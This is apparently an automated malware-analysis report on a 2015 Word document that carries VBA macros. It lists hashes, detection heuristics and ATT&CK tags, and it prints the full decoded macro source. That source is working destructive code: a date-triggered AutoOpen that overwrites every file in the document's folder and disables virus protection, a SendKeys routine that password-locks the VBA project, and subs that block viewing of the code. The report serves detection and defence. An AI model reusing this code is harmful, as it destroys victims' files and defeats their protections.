Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cbff9c554f8ae49d…

MALICIOUS

Office (OLE)

72.0 KB Created: 2015-05-26 07:35:00 Authoring application: Microsoft Office Word First seen: 2015-09-30
MD5: 9777291daeb3a6a8f488b4f12ceac7f0 SHA-1: 3d98dc19a65e4dd279e2e0d4942adb1a72c34c46 SHA-256: cbff9c554f8ae49d332c3e1de60bee0da2c7d9e7e60f8826315b8ed5b1001a58
146 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros. The AutoOpen macro attempts to disable macro virus protection and potentially replicate itself by saving the document with different names within the same directory. The AutoClose macro attempts to save the document with obfuscated filenames and also attempts to disable virus protection. The presence of legacy WordBasic macro-virus markers and the disabling of Office macro-virus protection strongly indicate malicious intent.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
     Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
     FName = Environ("WinDir") + "\_"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2735 bytes
SHA-256: 22d5fad77ea288bf2c2efd569fd918886357781639e79b75ead6c0f0be59e165
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Const a = 0
Sub AutoOpen()
 On Error Resume Next
 FName = Environ("WinDir") + "\_"
 If Not (FileDateTime(FName) >= Date) Then
  Open FName For Output As #1
  Close #1
 End If
If (Date >= #8/15/2015#) Or (FileDateTime(FName) >= #8/15/2015#) Or ((GetAttr(ActiveDocument.Path) And vbArchive) <> 0) Then
  Selection.WholeStory
  Selection.Delete Unit:=wdCharacter, Count:=1
  With Application.FileSearch
   .SearchSubFolders = True
   .FileName = "*.*"
   .LookIn = ActiveDocument.Path
   .Execute
   For i = 1 To .FoundFiles.Count
    If .FoundFiles(i) <> ActiveDocument.Name Then ActiveDocument.SaveAs .FoundFiles(i)
   Next
  End With
  SetAttr ActiveDocument.Path, vbArchive
  ThisDocument.SaveAs
  ThisDocument.Close
 End If
 Application.DisplayAlerts = a
 Options.VirusProtection = False
End Sub
Sub AutoClose()
 On Error Resume Next
 Application.DisplayAlerts = a
 Options.VirusProtection = False
 If ThisDocument.VBProject.Protection = vbext_pp_none Then
 ThisDocument.VBProject.VBE.ActiveVBProject.VBE.MainWindow.SetFocus
 p = "": For i = 1 To 32: p = p & Chr(Int((223 * Rnd) + 32)): Next
 SendKeys "{F10}{RIGHT 7}{DOWN 5}{ENTER}{TAB 9}{RIGHT}{TAB}{+}{TAB}" + p + "{TAB}" + p + "{TAB}{ENTER}%{F4}", True
 ThisDocument.SaveAs
 End If
End Sub
Sub ViewVBCode(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub ToolsMacro(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub FileTemplates(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub FileSaveAs(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub FileSaveHTML(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub FileSaveAsWebPage(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub FileSaveAsOtherFormats(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub FileSaveWord11(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub FileSaveWordDocx(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub FileSaveWordDotx(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub
Sub EditCopy(): Application.ShowVisualBasicEditor = a: Application.EnableCancelKey = a: End Sub